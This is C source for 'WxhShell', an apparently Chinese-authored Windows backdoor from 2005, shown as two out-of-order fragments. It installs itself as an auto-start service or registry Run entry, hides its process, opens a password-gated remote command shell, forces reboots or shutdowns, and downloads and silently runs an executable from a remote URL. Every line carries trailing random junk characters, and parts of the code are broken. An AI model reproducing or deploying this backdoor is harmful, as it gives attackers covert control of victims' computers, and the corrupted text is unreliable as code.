    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]QJLES  
    if(Boot(SHUTDOWN)) L}P<iB   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |F-_YR  
    else { [a53H$`\5  
    closesocket(wsh); ZtlF]k:MV  
    ExitThread(0); 67+ K ?!,  
    } ?9mFI(r~  
    break; 1t+]r:{  
    } Jt43+]  
  // 获取shell ELk$ lm&@  
  case 's': { ;gc Q9L  
    CmdShell(wsh); ib/B!?/  
    closesocket(wsh); 'vgw>\X(  
    ExitThread(0); K I  
    break; Mc>]ZAzr  
  } 8c3`IIzAS  
  // 退出 z'O$[6m6  
  case 'x': { ,+3l9FuQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KRd.Ubs -  
    CloseIt(wsh); lRi-?I| ~9  
    break; )a .w4dH  
    } ;26a8g(  
  // 离开 O(!J^J3_z  
  case 'q': { 36,qh.LKn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )7<JGzBZ1  
    closesocket(wsh); tbJB0T|G  
    WSACleanup(); 9`f]Rf"  
    exit(1); >:4}OylhM  
    break; tQ< ou,   
        } oJ ,t]e*q=  
  } "[L[*>[9!  
  } ~e@ QJ=r  
J!3 X}@_N  
  // 提示信息 AFGWlC#`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S) Sv4Qm  
} .t.H(Q9  
  } 3;Kv9i<~LE  
G#ZU^%$M,  
  return; H2 5Mx>|d  
} Z Mids"Xdf  
DPw"UY:  
// shell模块句柄 w 6+X{  
int CmdShell(SOCKET sock) \CM/KrCR  
{ Ytmt+9  
STARTUPINFO si; \|BtgT*$b  
ZeroMemory(&si,sizeof(si)); B_i@D?bTD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |lm   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  poGF  
PROCESS_INFORMATION ProcessInfo; lsU|xOB  
char cmdline[]="cmd"; MLtfi{;LH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jY-{hW+r  
  return 0; +e);lS"+/  
} "1$OPt5  
{(U?)4@  
// 自身启动模式 8`Q8Mct$<  
int StartFromService(void) q]T{g*lT  
{ cx_FtD  
typedef struct 3+@p  
{ ogbLs)&+a  
  DWORD ExitStatus; dqwAQ-x  
  DWORD PebBaseAddress; Z)<ljW  
  DWORD AffinityMask; _Isju S  
  DWORD BasePriority; SL zL/5s  
  ULONG UniqueProcessId; L,*2t JcC<  
  ULONG InheritedFromUniqueProcessId; &Ey5 H?U!  
}   PROCESS_BASIC_INFORMATION; -'QvUHL|  
Ac 0C,*|^  
PROCNTQSIP NtQueryInformationProcess; mw!D|  
$YSAD\a<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )WF]v"t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r" d/ 9  
[wWip1OR  
  HANDLE             hProcess; !*HH5qh6  
  PROCESS_BASIC_INFORMATION pbi; TUHC[#Vb?  
f]L`^WU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /5 B{szf  
  if(NULL == hInst ) return 0; >p [|U`>{  
%W~Kx_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PVH^yWi n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D+lzISp~e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >&6pBtC_  
#n2'N^t  
  if (!NtQueryInformationProcess) return 0; }J73{  
.Qm"iOyM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5+\[x`  
  if(!hProcess) return 0; qqA(Swe)T  
 }&BE*U8_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rCR?]1*Z  
(Gr8JpV  
  CloseHandle(hProcess); O]>9\!0{  
`9E:V=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @GDe{GG+  
if(hProcess==NULL) return 0; )8VrGg?  
U??P  
HMODULE hMod; U\a.'K50F  
char procName[255]; jq:FDyOAW  
unsigned long cbNeeded; F$QN>wPpM  
B{$4s8XU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j&,,~AZm  
A;7p  
  CloseHandle(hProcess); 7nM]E_  
,~u5SR  
if(strstr(procName,"services")) return 1; // 以服务启动 F$<>JEdX  
Nd'+s>d0  
  return 0; // 注册表启动 XdE#l/#  
} M }=X/*T  
" 2A`M~  
// 主模块 Wew'bj  
int StartWxhshell(LPSTR lpCmdLine) GEj/Z};;[b  
{ \ofWD{*j  
  SOCKET wsl; 1;?n]L`T  
BOOL val=TRUE; JX8Hn |  
  int port=0; Zz}Wg@&  
  struct sockaddr_in door;  >Eg/ir0  
t0h @i`  
  if(wscfg.ws_autoins) Install(); nI7G"f[%r;  
Sm-gi|A  
port=atoi(lpCmdLine); gw' uY$  
DjY&)oce(  
if(port<=0) port=wscfg.ws_port; z(b0U6)qQ  
j3 ,6U jlU  
  WSADATA data; tkX7yg>`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y5?*=eM  
is}6cR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VM=A#}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uJ<n W%}  
  door.sin_family = AF_INET; lVF}G[B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "#1KO1@G  
  door.sin_port = htons(port); V'?bZcRr~  
*`$Y!uzG:\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q-gp;Fm  
closesocket(wsl); *W,tq(%tQ  
return 1; k+#6  
} ;D.a |(Q  
le60b@2G0  
  if(listen(wsl,2) == INVALID_SOCKET) { S.&=>   
closesocket(wsl); =j#1H I=Fe  
return 1; [&12`!;j  
} ln4gkm<]t  
  Wxhshell(wsl); JrlDTNJj'  
  WSACleanup(); 4M4Y2f BH  
DP{kin"4I  
return 0; K8`Jl=}z%&  
[ u7p:?WDW  
} F/,K8<|r>  
4)MKYhm  
// 以NT服务方式启动 =)_9GO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A+Uil\%  
{ *nJy  
DWORD   status = 0; mp]}-bR)  
  DWORD   specificError = 0xfffffff; GF 4k  
s zBlyT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Su.imM!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r:pS[f|4\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vEQw`OC  
  serviceStatus.dwWin32ExitCode     = 0; qJV2x.!  
  serviceStatus.dwServiceSpecificExitCode = 0; 'YQ^K`lV  
  serviceStatus.dwCheckPoint       = 0; ;Z>u]uK4+  
  serviceStatus.dwWaitHint       = 0; .axJ'*~W  
7> ~70  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <[iw1>  
  if (hServiceStatusHandle==0) return; *Iy5 V7`KU  
5?6U@??]  
status = GetLastError(); D<=x<.  
  if (status!=NO_ERROR) +9mE1$C  
{ jw63sn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'dJ#NT25  
    serviceStatus.dwCheckPoint       = 0; {Yq"%n'0  
    serviceStatus.dwWaitHint       = 0; EJC{!06L'/  
    serviceStatus.dwWin32ExitCode     = status; )}ygzKEa  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pnf|9?~$H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); udw>{3>  
    return; : L}Fm2^  
  } `|nCr  
f3_-{<FZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [I6(;lq2  
  serviceStatus.dwCheckPoint       = 0; ~)J]`el,Q  
  serviceStatus.dwWaitHint       = 0; R(YhVW_l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ":=\ ci]e%  
} RNa59b  
(41BUX  
// 处理NT服务事件,比如:启动、停止 bEO\oS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B$ty`/{w,B  
{ mEK0ID\  
switch(fdwControl) 3PRg/vD3  
{ A'A5.\UN  
case SERVICE_CONTROL_STOP: &lbZTY}  
  serviceStatus.dwWin32ExitCode = 0; ^eF%4DUC;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VN3"$@-POK  
  serviceStatus.dwCheckPoint   = 0; cD^`dn%$  
  serviceStatus.dwWaitHint     = 0; O5rHN;\_  
  { s?-@8.@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]oOSL=~c  
  } x? 10^~R  
  return; %63zQFk  
case SERVICE_CONTROL_PAUSE: h"C7l#u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U&F1}P$fb  
  break; 9)c{L<o}T  
case SERVICE_CONTROL_CONTINUE: j:|um&`)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d,%e? 8x5  
  break; #eRrVjbo  
case SERVICE_CONTROL_INTERROGATE: |l\!  
  break; WG~|sLg  
}; hY*ylzr83  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qKt*<KGeY  
} kHWW\?O  
2EO WbN}M  
// 标准应用程序主函数 O_v8R7 {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +/"Ws '5E  
{ 7hV9nuW  
=2Vs))>Y  
// 获取操作系统版本 mGZJ$|  
OsIsNt=GetOsVer(); g=ehAg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c#)!-5E~H  
, )&ansN  
  // 从命令行安装 r6,EyCWcCs  
  if(strpbrk(lpCmdLine,"iI")) Install(); I, 7~D!4G  
^|^ywgK  
  // 下载执行文件 E&;[E  
if(wscfg.ws_downexe) { C0f<xhp?j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bqcih$`BVU  
  WinExec(wscfg.ws_filenam,SW_HIDE); cd&^ vQL8  
} ON,sN  
z (1zth  
if(!OsIsNt) { dM-qd`  
// 如果时win9x,隐藏进程并且设置为注册表启动 egXHp<bqw  
HideProc(); `EBI$;!  
StartWxhshell(lpCmdLine); g4eEkG`XTS  
} 5{zmuv:  
else \C{Dui) F  
  if(StartFromService()) 7d m:L'0  
  // 以服务方式启动 H[WsHq;T+9  
  StartServiceCtrlDispatcher(DispatchTable); Uzi.CYVs%  
else ol[sX=5 *  
  // 普通方式启动 UO1WtQyu,H  
  StartWxhshell(lpCmdLine); FR BW(vKE  
 v|K,  
return 0; !g`^<y!  
} 54lU~ "  
kT@m*Etr{  
DPWt=IFU  
KF.O>c87&  
=========================================== lRk)  
g)3HVAT  
Vx Vpl@  
(^{tu89ab  
'3i,^g0?t0  
]2_b_ok  
" _ww>u""B~  
m}-*B1  
#include <stdio.h> S3?Bl'  
#include <string.h> B0M(&)!%  
#include <windows.h> ?DGe}?pX  
#include <winsock2.h> @sr~&YhA  
#include <winsvc.h> ^@V; `jsll  
#include <urlmon.h> -$ VP#%  
aAbK{=/y_!  
#pragma comment (lib, "Ws2_32.lib") yv;KKQ   
#pragma comment (lib, "urlmon.lib") mhNX05D  
5V $H?MW>  
#define MAX_USER   100 // 最大客户端连接数 < NRnE8:  
#define BUF_SOCK   200 // sock buffer iJ&jg`"=F  
#define KEY_BUFF   255 // 输入 buffer P Nf_{4  
OGR2Y  
#define REBOOT     0   // 重启 SzTa[tJ+  
#define SHUTDOWN   1   // 关机 2FVO@D  
"y9]>9:$-  
#define DEF_PORT   5000 // 监听端口 X7~^D[ X  
hEh` cBO  
#define REG_LEN     16   // 注册表键长度 %&5PZmnW  
#define SVC_LEN     80   // NT服务名长度 /g]NC?  
IDY2X+C#U  
// 从dll定义API !,cL c}a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QomihQnc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); : MEB] }  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ymW? <\AD,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u*S-Pji,x  
/'l"Us},^!  
// wxhshell配置信息 T Ob(  
struct WSCFG { sd5)We  
  int ws_port;         // 监听端口 +^cjdH*  
  char ws_passstr[REG_LEN]; // 口令 j[RY  
  int ws_autoins;       // 安装标记, 1=yes 0=no z 0}JiWR  
  char ws_regname[REG_LEN]; // 注册表键名 D#k ~lEPub  
  char ws_svcname[REG_LEN]; // 服务名 u~~H'*EM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =j"bLX6;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _2a)b(<tF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *-';ycOvr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "?M)2,:A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?u4t;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'lMDlTU O  
P!yOA_)as  
}; R*`=Bk0+  
Yh["IhjR  
// default Wxhshell configuration jX; $g>P  
struct WSCFG wscfg={DEF_PORT, 4c]=kbGW  
    "xuhuanlingzhe", ( }RJW:  
    1,  3+/^  
    "Wxhshell", ;)ku SH  
    "Wxhshell", ;L@p|]fu  
            "WxhShell Service", O>LqpZ  
    "Wrsky Windows CmdShell Service", KIGMWS^^  
    "Please Input Your Password: ", 0F%/R^mw  
  1, [9;[g~;E%m  
  "http://www.wrsky.com/wxhshell.exe", C klIrD{  
  "Wxhshell.exe" d6f T  
    }; Ul Mc8z  
b:Tv Ta  
// 消息定义模块 moD)^':.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6W/uoH=;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;w<r/dK   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O9P4r*prA  
char *msg_ws_ext="\n\rExit."; 0<)Ep~!  
char *msg_ws_end="\n\rQuit."; [85b+SKW  
char *msg_ws_boot="\n\rReboot..."; C({r1l4[D  
char *msg_ws_poff="\n\rShutdown..."; hEA;5-m  
char *msg_ws_down="\n\rSave to "; {rzvZ0-j}  
"H\R*\-0  
char *msg_ws_err="\n\rErr!"; B.4Or]  
char *msg_ws_ok="\n\rOK!"; 98Y1-Z^ .  
RDOV+2K  
char ExeFile[MAX_PATH]; ~hb;kc3  
int nUser = 0; 8 +mW  
HANDLE handles[MAX_USER]; &e3pmHp'  
int OsIsNt;  (,R\6  
13p.dp`  
SERVICE_STATUS       serviceStatus; 2t;3_C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qV)hCc/ ~  
i.0d>G><@  
// 函数声明 `Ip``I#A  
int Install(void); 20w4 '@sq  
int Uninstall(void); p:ubj'(U05  
int DownloadFile(char *sURL, SOCKET wsh); 2i$_ ,[fi  
int Boot(int flag); ZfibHivz  
void HideProc(void); pN{XGkX.  
int GetOsVer(void); k{ $,FQ4  
int Wxhshell(SOCKET wsl); 6~O;t'd  
void TalkWithClient(void *cs); f{-,"6Y1  
int CmdShell(SOCKET sock); u/apnAW@M  
int StartFromService(void); Zm vtUma  
int StartWxhshell(LPSTR lpCmdLine); DFQ`<r&!  
&-L9ws  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ao"Z%#Jb~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -FS! v^  
F8&L'@m9>  
// 数据结构和表定义 v.53fx  
SERVICE_TABLE_ENTRY DispatchTable[] = cv_t2m  
{ : cPV08i  
{wscfg.ws_svcname, NTServiceMain}, fS3%  
{NULL, NULL} XCT3:db  
}; %3yrX>Js  
~xJ ^YkyH  
// 自我安装 `o0ISJeKp  
int Install(void) |\RN%w7E8  
{ XO5E-Nh  
  char svExeFile[MAX_PATH]; \Rw^&;\1  
  HKEY key; \j4!dOGZ  
  strcpy(svExeFile,ExeFile); d*$x|B|V  
@QDUz>_y  
// 如果是win9x系统,修改注册表设为自启动 SC--jhDZ  
if(!OsIsNt) { >#y1(\e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W~5gTiBZ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ab[V->>%  
  RegCloseKey(key); s$~H{za  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `)NTJc$):  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CdKs+x&tZ  
  RegCloseKey(key); OKA6S*  
  return 0; I5E5,{  
    } :4)lmIu  
  } L i+|%a  
} i "aQm  
else { 93/`e}P"o  
C't%e  
// 如果是NT以上系统,安装为系统服务 6n/KL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;x&3tN/I  
if (schSCManager!=0) jX,A.  
{ c^R "g)gr  
  SC_HANDLE schService = CreateService <9x|)2P  
  ( fVYv 2  
  schSCManager, O O-Obg^  
  wscfg.ws_svcname, ppu<k N  
  wscfg.ws_svcdisp, [OFT!=.y &  
  SERVICE_ALL_ACCESS, t&-c?&FO\;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fO83 7  
  SERVICE_AUTO_START, z=4E#y `?U  
  SERVICE_ERROR_NORMAL, \}Kad\)  
  svExeFile, W$` WkR  
  NULL, +!t *LSF  
  NULL, I]B9+Z?xo  
  NULL, _k5$.f:Yj<  
  NULL, iig&O(,  
  NULL dB Hki*.u  
  ); [-\DC*6  
  if (schService!=0) jRp @-S#V  
  { sA }X)aP  
  CloseServiceHandle(schService); Cyud)BZvm  
  CloseServiceHandle(schSCManager); G }M!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \rCdsN2H  
  strcat(svExeFile,wscfg.ws_svcname); n&8N`!^o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S;BMM8U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nb@<UbabW}  
  RegCloseKey(key); ZRUAw,T*  
  return 0; 4VzSqb  
    } tfv@ )9  
  } +EZr@  
  CloseServiceHandle(schSCManager); 7A  
} M<@9di7c  
} *T{KpiuP  
Ds\f?\Em  
return 1; aX~' gq>  
} ]xhH:kW4  
"?YpF2pD  
// 自我卸载 'IER9%V$  
int Uninstall(void) wDs#1`uTq  
{ ~'):1}KN]  
  HKEY key; 'v@1_HHW\  
;e~K<vMm;y  
if(!OsIsNt) { o#IWH;ck.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vw` '9~  
  RegDeleteValue(key,wscfg.ws_regname); 3iiOxg?j  
  RegCloseKey(key); hflDVGBW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +7K]5p;!~  
  RegDeleteValue(key,wscfg.ws_regname); l_x>.'a  
  RegCloseKey(key); h#8 {fr)6  
  return 0; s'@@q  
  } ]j(Ld\:L  
} dRTpGz  
} <pUc( tPoz  
else { j MA%`*r  
_[ `"E'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 98WJ"f_ #  
if (schSCManager!=0) !v3wl0  
{ 4W+nS v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UOI Z8Po  
  if (schService!=0) /zV0kW>N  
  { *tT5Zt/&Sr  
  if(DeleteService(schService)!=0) { St1>J.k_  
  CloseServiceHandle(schService); c{f1_qXN  
  CloseServiceHandle(schSCManager); &l~=c2  
  return 0; =`%%*  
  } {XYf"ONi  
  CloseServiceHandle(schService); $Vm J[EF1  
  } 3K_!:[  
  CloseServiceHandle(schSCManager); J~G"D-l<9/  
} "( ?[$R  
} .]Z,O>N  
$E@ke:  
return 1; @yjui  
} # /pZ#ny  
II_MY#0X  
// 从指定url下载文件  Ia)^  
int DownloadFile(char *sURL, SOCKET wsh) *$>$O%   
{ Eb9M;u  
  HRESULT hr; ^F1zkIE  
char seps[]= "/"; mH3{<^Z6  
char *token; >JhIRf  
char *file; d>7bwG+k  
char myURL[MAX_PATH]; g:c @  
char myFILE[MAX_PATH]; Th*mm3D6  
%n #^#:   
strcpy(myURL,sURL); RrqZ5Gonj  
  token=strtok(myURL,seps); qsL6*(S(r  
  while(token!=NULL) ?)5M3 lV3k  
  { iF]vIg#h  
    file=token; ]0:R^dHE  
  token=strtok(NULL,seps); xE.=\UzJ  
  } S[M\com'  
b;Im +9&  
GetCurrentDirectory(MAX_PATH,myFILE); v]27+/a$c  
strcat(myFILE, "\\"); ? 5 V-D8k  
strcat(myFILE, file); `24:Eg6r  
  send(wsh,myFILE,strlen(myFILE),0); N,_ej@L8  
send(wsh,"...",3,0); yc5n   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -.WVuc`  
  if(hr==S_OK) `+/[0B=.  
return 0; h Tn^:%(  
else )O%lh 8fI  
return 1; 9uREbip  
u]c nbm  
} UoxF00H@!  
s ^{j  
// 系统电源模块 Jq`fD~(7  
int Boot(int flag) V1;Qt-i  
{ ,K6]Q|U@r  
  HANDLE hToken; {1YT a:evl  
  TOKEN_PRIVILEGES tkp; Vd^`Hv&i  
73(T+6`  
  if(OsIsNt) { "$8<\k$LGT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); et]*5Y6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bvR*sT#rg  
    tkp.PrivilegeCount = 1; $Y0bjS2J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M+^K,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #(*WxVE  
if(flag==REBOOT) { 6YU2  !x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C5RDP~au  
  return 0; uf)W? `e~  
} Lou4M  
else { .^.UJo;4G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 90aPIs-  
  return 0; 1,`x1dcO!A  
} %dT%r=%Y  
  } Pjb9FCA'  
  else { Azz]TO  
if(flag==REBOOT) { L}a3!33)C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IL:"]`f*  
  return 0; A1ebXXD )  
} \a]\j Zb  
else { t1Khf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #CQ>d8&  
  return 0; )Y&De)=  
} nLfnikw&  
} Em"X5>;4  
/?XfVhA:A  
return 1; rw\4KI@ L  
} #!D5DK@+  
xf]4!zE  
// win9x进程隐藏模块 ^:)&KV8D|  
void HideProc(void) "^D6%I#T  
{ 49zp@a  
0\~Zg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _gGy(`  
  if ( hKernel != NULL ) TQ2Tt "  
  { z"O-d<U5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ul'G g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0?h .X= G  
    FreeLibrary(hKernel); 1a!h&!$9  
  } r#}Sy \  
,`7GI*Vq  
return; 5Q}@Y3 i=  
} E37@BfpO3  
zLn#p]  
// 获取操作系统版本 n{yjH*\Z  
int GetOsVer(void) Ji[w; [qL  
{ f\^QV  
  OSVERSIONINFO winfo; HY:@=%R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IyuT=A~Ki  
  GetVersionEx(&winfo); F3'X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qpeK><o  
  return 1; *3K"Kc2  
  else #?=cg]v_  
  return 0; ^>p [b  
} ]xG4T>S  
YBO53S]=  
// 客户端句柄模块 ]O\W<'+V  
int Wxhshell(SOCKET wsl) 4dK@UN\  
{ K]oPh:E  
  SOCKET wsh; ] 6gu  
  struct sockaddr_in client; rh_({rvQ  
  DWORD myID; !!86Sv  
I{PN6bn{>  
  while(nUser<MAX_USER) W<L6,  
{ ^hgAgP{{  
  int nSize=sizeof(client); Dn3~8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @i h}x  
  if(wsh==INVALID_SOCKET) return 1; $g};u[y  
#50)DwD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8( D}y\  
if(handles[nUser]==0) yBj)#m5!  
  closesocket(wsh); Td >k \<  
else ]>L]?Rm  
  nUser++; K5lp -F  
  } F%d"gF0qu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;^*!<F%t9R  
`Vi:r9|P  
  return 0; NHF?73:  
} @7=D]yu  
YM|S<  
// 关闭 socket J4g;~#_19  
void CloseIt(SOCKET wsh) "/fs%F  
{ h;KK6*Z*$E  
closesocket(wsh); S\ZAcz4  
nUser--; NLl~/smMS  
ExitThread(0); wVOL7vh  
} iL, XBoE  
Fzs'@*  
// 客户端请求句柄 Fc~w`~tv  
void TalkWithClient(void *cs) H=#Jg;_w  
{ 1znV>PO!  
2>k)=hl:  
  SOCKET wsh=(SOCKET)cs; R6XMBYK^  
  char pwd[SVC_LEN]; m4wTg 8LJ  
  char cmd[KEY_BUFF]; ["<(\v9P)  
char chr[1]; u&xK>7  
int i,j; ([-=NT}Aq  
o z{j2%  
  while (nUser < MAX_USER) { syf"{bBe  
61/zrMPn  
if(wscfg.ws_passstr) { 8!GLw-kb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H| U/tU-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ..!-)q'?  
  //ZeroMemory(pwd,KEY_BUFF); X^5"7phI@  
      i=0; /AW>5r]  
  while(i<SVC_LEN) { \ZRoTh  
~N^vE;  
  // 设置超时 5ba[6\Af  
  fd_set FdRead; w WU_?Dr_~  
  struct timeval TimeOut; znO00qX  
  FD_ZERO(&FdRead); dt+  4$  
  FD_SET(wsh,&FdRead); &R*5;/ !  
  TimeOut.tv_sec=8; b,R'T+4[  
  TimeOut.tv_usec=0; 5]l7Z35  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q;O)>K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~x"79=!W  
Rl4zTAI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OX/.v?c  
  pwd=chr[0]; PX2k,%  
  if(chr[0]==0xd || chr[0]==0xa) { _ D9@<+MS*  
  pwd=0; f<:U"E.  
  break; KBR0p&MN  
  } s@LNQ|'kO  
  i++; }@%ahRGx%9  
    } BQ&q<6Tk  
V )k, 9=  
  // 如果是非法用户,关闭 socket y32++b!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MW~B[%/  
} 9[{>JRm.  
`L#?eQ{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2^#UO=ct  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;sR6dT)  
?_>^<1I1  
while(1) { G=HxD4l  
NJf(,Mr*|  
  ZeroMemory(cmd,KEY_BUFF); kj!7|1i2  
|zq!CLjD@  
      // 自动支持客户端 telnet标准   `uZv9I"  
  j=0; BDkBYhz;7  
  while(j<KEY_BUFF) { #7-@k-<|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :n9xH  
  cmd[j]=chr[0]; KzX ,n_`an  
  if(chr[0]==0xa || chr[0]==0xd) { E(!6n= qR  
  cmd[j]=0; Z#6~N/b  
  break; C%_  
  } (}1v^~FXj  
  j++; `m 3QT3B  
    } +^DRto=  
+1Rr kok  
  // 下载文件 eSX[J6  
  if(strstr(cmd,"http://")) { !x$ :8R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JkDPuTXD  
  if(DownloadFile(cmd,wsh)) #;LMtDaL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\m!8o4  
  else <cv2-?L{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ivt} o_b*  
  } Y3$PQwn .P  
  else { 25a#eDbqi  
PIEW\i  
